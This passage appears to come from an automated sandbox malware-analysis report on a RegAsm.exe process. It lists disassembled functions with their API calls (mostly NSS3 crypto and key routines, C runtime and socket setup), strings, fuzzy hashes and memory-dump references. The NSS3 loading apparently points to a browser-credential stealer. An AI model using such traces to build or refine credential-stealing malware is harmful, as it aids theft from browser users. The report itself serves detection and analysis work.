Instruction Fuzzy Hash: C931FBB1A082099BEB219F28DC49B667BF8FB46325F140539FE5A87E50D731E414CBE1

Function 6C22AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C223FFF,00000000,?,?,?,?,?,6C221A1C,00000000,00000000), ref: 6C22ADA7

Part of subcall function 6C2814C0: TlsGetValue.KERNEL32 ref: 6C2814E0
Part of subcall function 6C2814C0: EnterCriticalSection.KERNEL32 ref: 6C2814F5
Part of subcall function 6C2814C0: PR_Unlock.NSS3 ref: 6C28150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C223FFF,00000000,?,?,?,?,?,6C221A1C,00000000,00000000), ref: 6C22ADB4

Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C2810F3
Part of subcall function 6C2810C0: EnterCriticalSection.KERNEL32(?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28110C
Part of subcall function 6C2810C0: PL_ArenaAllocate.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281141
Part of subcall function 6C2810C0: PR_Unlock.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281182
Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C223FFF,?,?,?,?,6C223FFF,00000000,?,?,?,?,?,6C221A1C,00000000), ref: 6C22ADD5

Part of subcall function 6C27FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C278D2D,?,00000000,?), ref: 6C27FB85
Part of subcall function 6C27FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C27FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C3494B0,?,?,?,?,?,?,?,?,6C223FFF,00000000,?), ref: 6C22ADEC

Part of subcall function 6C27B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C3518D0,?), ref: 6C27B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C223FFF), ref: 6C22AE3C

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 3379ef82fbf86301ce8e181ab915fe6eab2537696b2ccb36e84a83744ad320d5
Instruction ID: acc2f7907870d095bc2fbfdb8924f4e590176c97170bd5f7921886213b68f998
Opcode Fuzzy Hash: 3379ef82fbf86301ce8e181ab915fe6eab2537696b2ccb36e84a83744ad320d5
Instruction Fuzzy Hash: DF112662E0030D9BF7109A659C41BBF73A89F9524DF044228FC2996B81FB24E95982A2

Function 00425713 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00425721
_free.LIBCMT ref: 00425734

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _freemalloc
String ID:
API String ID: 3576935931-0
Opcode ID: feda3816294fd9af8db34316e038ce1953c349d56468ddbca55d0205ef3a299f
Instruction ID: b76dc663818b464284d97c71afdab2e33c7188303a79513cbdb4af8dfc28d3f2
Opcode Fuzzy Hash: feda3816294fd9af8db34316e038ce1953c349d56468ddbca55d0205ef3a299f
Instruction Fuzzy Hash: CB112732B40A31EBCF216F79BC0575A37A5AF803B5F60403FF8498A250DE7C8980969C

Function 6C238FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C240710), ref: 6C238FF1
PR_CallOnce.NSS3(6C382158,6C239150,00000000,?,?,?,6C239138,?,6C240710), ref: 6C239029
calloc.MOZGLUE(00000001,00000000,?,?,6C240710), ref: 6C23904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C240710), ref: 6C239066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C240710), ref: 6C239078

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 441a0f4940e3f0008175e190f0d472a7ae78f527b18249d767047a8037d3c427
Instruction ID: facac64a9dcbed30e5a9651f426e08c18d6c96c0aa6c7b3c9338f95c4459c49f
Opcode Fuzzy Hash: 441a0f4940e3f0008175e190f0d472a7ae78f527b18249d767047a8037d3c427
Instruction Fuzzy Hash: FC1129A170513A17E71026699C04A66739CDB8375DF501021FC8CC6B40FF1BCC6587A1

Function 6C24CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C261E10: TlsGetValue.KERNEL32 ref: 6C261E36
Part of subcall function 6C261E10: EnterCriticalSection.KERNEL32(?,?,?,6C23B1EE,2404110F,?,?), ref: 6C261E4B
Part of subcall function 6C261E10: PR_Unlock.NSS3 ref: 6C261E76

free.MOZGLUE(?,6C24D079,00000000,00000001), ref: 6C24CDA5
PK11_FreeSymKey.NSS3(?,6C24D079,00000000,00000001), ref: 6C24CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C24D079,00000000,00000001), ref: 6C24CDCF
DeleteCriticalSection.KERNEL32(?,6C24D079,00000000,00000001), ref: 6C24CDE2
free.MOZGLUE(?), ref: 6C24CDE9

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 9b6ae25e6ecd730d41895e636e8230c545bad77bf998260ecd1ddc19313f9622
Instruction ID: 68b838dcccad7f834a6740a8966d8dfef4750dfa28fb01ec3ff073877798d688
Opcode Fuzzy Hash: 9b6ae25e6ecd730d41895e636e8230c545bad77bf998260ecd1ddc19313f9622
Instruction Fuzzy Hash: 9711C6B6B0111AABDF04AE69EC45D96B76CFF0465A7108131FD0987E01E732E478C7E1

Function 6C2B2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C2B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C2B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C2B2CEC

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C2B2D02
PR_EnterMonitor.NSS3(?), ref: 6C2B2D1F
PR_ExitMonitor.NSS3(?), ref: 6C2B2D42
PR_ExitMonitor.NSS3(?), ref: 6C2B2D5B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 16900310be0f774e5b102316c9ee7c31d259721afbf2b9f0456c68946769b615
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 1001E1F5A003085BEA329E25FC40AC7B3A5EB4539CF400526EC59A6720E632F929C693

Function 6C2B2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C2B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C2B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C2B2D9C

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C2B2DB2
PR_EnterMonitor.NSS3(?), ref: 6C2B2DCF
PR_ExitMonitor.NSS3(?), ref: 6C2B2DF2
PR_ExitMonitor.NSS3(?), ref: 6C2B2E0B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 5a24fe48c079cf65758c88d401ced83fa14dc069ff978027724cc65a837f885e
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: E501C4F5A103085FEA319E26FC05BC7B7A5EF4539CF400535EC59A6B10D632F9258693

Function 6C24AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C233090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C24AE42), ref: 6C2330AA
Part of subcall function 6C233090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C2330C7
Part of subcall function 6C233090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C2330E5
Part of subcall function 6C233090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C233116
Part of subcall function 6C233090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C23312B
Part of subcall function 6C233090: PK11_DestroyObject.NSS3(?,?), ref: 6C233154
Part of subcall function 6C233090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C23317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C2299FF,?,?,?,?,?,?,?,?,?,6C222D6B,?), ref: 6C24AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C2299FF,?,?,?,?,?,?,?,?,?,6C222D6B,?), ref: 6C24AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C222D6B,?,?,00000000), ref: 6C24AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C222D6B,?,?,00000000), ref: 6C24AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C222D6B,?,?), ref: 6C24AEA3

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 94cf98e23c340bb2d19863e164d6742d44825217adcbad2e2259f8ee5905ee78
Instruction ID: 679e18cca249d31aa36fb49927fd249f22f0a47021d14f143314e771a6334d7b
Opcode Fuzzy Hash: 94cf98e23c340bb2d19863e164d6742d44825217adcbad2e2259f8ee5905ee78
Instruction Fuzzy Hash: 9701A9BAB1442CD7E705916CEC85E9B31588B8765DF088032FD1AD7B41F625D90542E3

Function 6C33ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C33A6D8), ref: 6C33AE0D
free.MOZGLUE(?), ref: 6C33AE14
DeleteCriticalSection.KERNEL32(6C33A6D8), ref: 6C33AE36
free.MOZGLUE(?), ref: 6C33AE3D
free.MOZGLUE(00000000,00000000,?,?,6C33A6D8), ref: 6C33AE47

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: da05e0d5adc5b28ed0e42fa35dbb5c28218f247c84ac563879101a96f966c56c
Instruction ID: 8f8cddf6219176dbd9d1e15359b7526cc8186391a4f334b97fc789bc3819b30b
Opcode Fuzzy Hash: da05e0d5adc5b28ed0e42fa35dbb5c28218f247c84ac563879101a96f966c56c
Instruction Fuzzy Hash: DAF09676201A11A7CE11AFA8E808957B7BCBF867757140328F52E83980D736E115DBE9

Function 00426719 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00426725

Part of subcall function 00424954: __getptd_noexit.LIBCMT ref: 00424957
Part of subcall function 00424954: __amsg_exit.LIBCMT ref: 00424964

__getptd.LIBCMT ref: 0042673C
__amsg_exit.LIBCMT ref: 0042674A
__lock.LIBCMT ref: 0042675A
__updatetlocinfoEx_nolock.LIBCMT ref: 0042676E

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: e5b528c2df55b90b8f95683bbe5c3f4538672bfb3054380b72a1938f3589f922
Instruction ID: 61088e3dfc20ce59d559a3ddfa1e0e88c0a27e6c6fc14d0a94ffceeb635e971d
Opcode Fuzzy Hash: e5b528c2df55b90b8f95683bbe5c3f4538672bfb3054380b72a1938f3589f922
Instruction Fuzzy Hash: A0F09672F047309BDB11FB79740675E76A0AF4076CFA2014FF454A62D2CB2C5940D65D

Function 00410077 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0041009A

Part of subcall function 0042EBF8: std::exception::exception.LIBCMT ref: 0042EC0D
Part of subcall function 0042EBF8: __CxxThrowException@8.LIBCMT ref: 0042EC22
Part of subcall function 0042EBF8: std::exception::exception.LIBCMT ref: 0042EC33

__EH_prolog3_catch.LIBCMT ref: 00410139
std::_Xinvalid_argument.LIBCPMT ref: 0041014D

Strings

vector<T> too long, xrefs: 00410095, 00410148

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8H_prolog3_catchThrow
String ID: vector<T> too long
API String ID: 2448322171-3788999226
Opcode ID: cc5a60ddabb20db1201aed0d317c3cbb809968f8e12f32ad08655375e537c1c5
Instruction ID: ab79b4cfd7630e9d33afc21f0db27ea74fca8642dd6ebc8e538bd538cb18ba69
Opcode Fuzzy Hash: cc5a60ddabb20db1201aed0d317c3cbb809968f8e12f32ad08655375e537c1c5
Instruction Fuzzy Hash: 7931E532B503269BDB08EF6DAC45AED77E2A705311F51107FE520E7290D6BE9EC08B48

Function 6C1B6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C1B6D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C1B6D20
database corruption, xrefs: 6C1B6D2A
%s at line %d of [%.10s], xrefs: 6C1B6D2F

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 5a8cff5395a0132f69ff0aff054a3bb43c0014db8c2c43663a5c2233ab190091
Instruction ID: 664ac61ecfe7e339e7e3d7c80600474d316aa8f3320d8ee318a1d3d4ba157acb
Opcode Fuzzy Hash: 5a8cff5395a0132f69ff0aff054a3bb43c0014db8c2c43663a5c2233ab190091
Instruction Fuzzy Hash: 632124706003089BC318CE1AC851B5AB7F2AFA4318F14852CD889ABF50E370F949CF91

Function 00413390 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004133AF
StrCmpCA.SHLWAPI(00000000,004367E0,?), ref: 004133E8

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 00410581

strtok_s.MSVCRT ref: 00413424

Strings

"xA, xrefs: 004133A1, 004133A4

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: "xA
API String ID: 348468850-582338916
Opcode ID: bf84bfb386d6fc06eea78c161eafd360b80df2d8d05c54f88f0f7eaf07e2e23e
Instruction ID: 530b5b9384520956d988ef5f9eef14088f7e00acaaf5feba0a58aa85cdec459f
Opcode Fuzzy Hash: bf84bfb386d6fc06eea78c161eafd360b80df2d8d05c54f88f0f7eaf07e2e23e
Instruction Fuzzy Hash: 74118171900115AFDB01DF54C945BDAB7BCBF1430AF119067E805EB192EB78EF988B98

Function 6C2ECC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C2ECD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C2ECC7B), ref: 6C2ECD7A
Part of subcall function 6C2ECD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C2ECD8E
Part of subcall function 6C2ECD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C2ECDA5
Part of subcall function 6C2ECD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C2ECDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C2ECCB5
memcpy.VCRUNTIME140(6C3814F4,6C3802AC,00000090), ref: 6C2ECCD3
memcpy.VCRUNTIME140(6C381588,6C3802AC,00000090), ref: 6C2ECD2B

Part of subcall function 6C209AC0: socket.WSOCK32(?,00000017,6C2099BE), ref: 6C209AE6
Part of subcall function 6C209AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C2099BE), ref: 6C209AFC

Part of subcall function 6C210590: closesocket.WSOCK32(6C209A8F,?,?,6C209A8F,00000000), ref: 6C210597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C2ECCB0

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
